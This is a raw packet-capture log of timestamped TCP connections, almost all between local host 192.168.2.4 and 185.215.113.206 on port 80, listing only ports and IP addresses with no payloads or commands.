Nov 10, 2024 19:44:17.531542063 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.531553030 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.531569958 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.531577110 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.531588078 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.531596899 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.531599998 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.531620979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.531646967 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.532198906 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.532236099 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.532273054 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.532296896 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.532306910 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.532320023 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.532330990 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.532337904 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.687277079 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.687299967 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.687336922 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.687352896 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.687405109 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.687417030 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.687429905 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.687447071 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.687454939 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.687474966 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.687593937 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.687607050 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.687617064 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.687629938 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.687644005 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.687678099 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.687724113 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.687735081 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.687747002 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.687766075 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.687787056 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.688560963 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.688608885 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.688750982 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.688762903 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.688774109 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.688796997 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.688832045 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.688920021 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.688931942 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.688966036 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.689579010 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.689625978 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.689776897 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.689788103 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.689829111 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.690258980 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.690268993 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.690299988 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.690311909 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.742503881 CET	49723	80	192.168.2.4	93.184.221.240
Nov 10, 2024 19:44:17.747840881 CET	80	49723	93.184.221.240	192.168.2.4
Nov 10, 2024 19:44:17.747883081 CET	49723	80	192.168.2.4	93.184.221.240
Nov 10, 2024 19:44:17.841485977 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.841540098 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.841563940 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.841577053 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.841590881 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.841600895 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.841607094 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.841612101 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.841618061 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.841625929 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.841631889 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.841669083 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.841883898 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.841918945 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.842469931 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.842519999 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.842525005 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.842533112 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.842569113 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.842585087 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.842586994 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.842597961 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.842608929 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.842621088 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.842624903 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.842644930 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.842653990 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.842978954 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.843003035 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.843014956 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.843033075 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.843054056 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.843070984 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.843081951 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.843091965 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.843101978 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.843106031 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.843127966 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.843153000 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.844054937 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.844067097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.844077110 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.844105959 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.844114065 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.844119072 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.844131947 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.844142914 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.844142914 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.844152927 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.844185114 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.845099926 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.845110893 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.845120907 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.845133066 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.845144033 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.845175028 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.845177889 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.845187902 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.845199108 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.845205069 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.845231056 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.845941067 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.845985889 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.846015930 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.846028090 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.846057892 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.846060991 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.846071959 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.846079111 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.846087933 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.846088886 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.846102953 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.846110106 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.846124887 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.846147060 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.846913099 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.846961975 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995450020 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995496035 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995508909 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995516062 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995539904 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995554924 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995563984 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995575905 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995589018 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995615005 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995619059 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995631933 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995637894 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995647907 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995655060 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995661020 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995663881 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995686054 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995707035 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995708942 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995743990 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995747089 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995768070 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995779037 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995784044 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995801926 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995820999 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.995984077 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.995995998 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996006966 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996018887 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.996032953 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996043921 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996046066 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.996052027 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996052027 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.996093035 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.996475935 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996486902 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996498108 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996509075 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996519089 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.996520042 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996567965 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.996815920 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996862888 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.996911049 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996943951 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996958971 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.996962070 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996973991 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996984005 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.996985912 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.996997118 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997009039 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997009993 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997030973 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997054100 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997062922 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997073889 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997086048 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997107029 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997107029 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997128010 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997153044 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997674942 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997725010 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997767925 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997780085 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997793913 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997802019 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997822046 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997823000 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997837067 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997847080 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997848034 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997863054 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997874022 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997874022 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997874022 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997885942 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.997891903 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.997925997 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.998513937 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.998559952 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.998635054 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.998665094 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.998681068 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.998683929 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.998697042 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.998706102 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.998708963 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.998720884 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.998732090 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.998735905 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.998749018 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.998759985 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.998760939 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.998783112 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.998809099 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.000633955 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000679970 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.000689030 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000699043 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000726938 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.000735044 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000746965 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000758886 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000782967 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.000782967 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.000797987 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.000833988 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000845909 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000857115 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000869036 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000871897 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.000880957 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000890017 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.000907898 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.000917912 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000936985 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000940084 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.000948906 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.000956059 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.000969887 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.000991106 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.001518011 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.001564026 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112355947 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112411022 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112432003 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112443924 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112472057 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112476110 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112498045 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112508059 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112519026 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112565041 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112613916 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112626076 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112636089 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112654924 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112674952 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112721920 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112732887 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112744093 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112755060 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112762928 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112766981 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112777948 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112782001 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112802029 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112828970 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112854004 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112879038 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112890005 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112895966 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112900019 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112911940 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112915993 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112924099 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112940073 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112951040 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.112972021 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.112982988 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150271893 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150301933 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150312901 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150325060 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150331974 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150340080 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150353909 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150382996 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150387049 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150404930 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150418997 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150424957 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150429964 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150439024 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150453091 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150474072 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150477886 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150496960 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150507927 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150516987 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150518894 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150525093 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150532007 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150548935 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150564909 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150578976 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150588036 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150599003 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150608063 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150629997 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150635958 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150651932 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150659084 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150665998 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150677919 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150686979 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:18.150702000 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:18.150712013 CET	80	49753	185.215.113.206	192.168.2.4
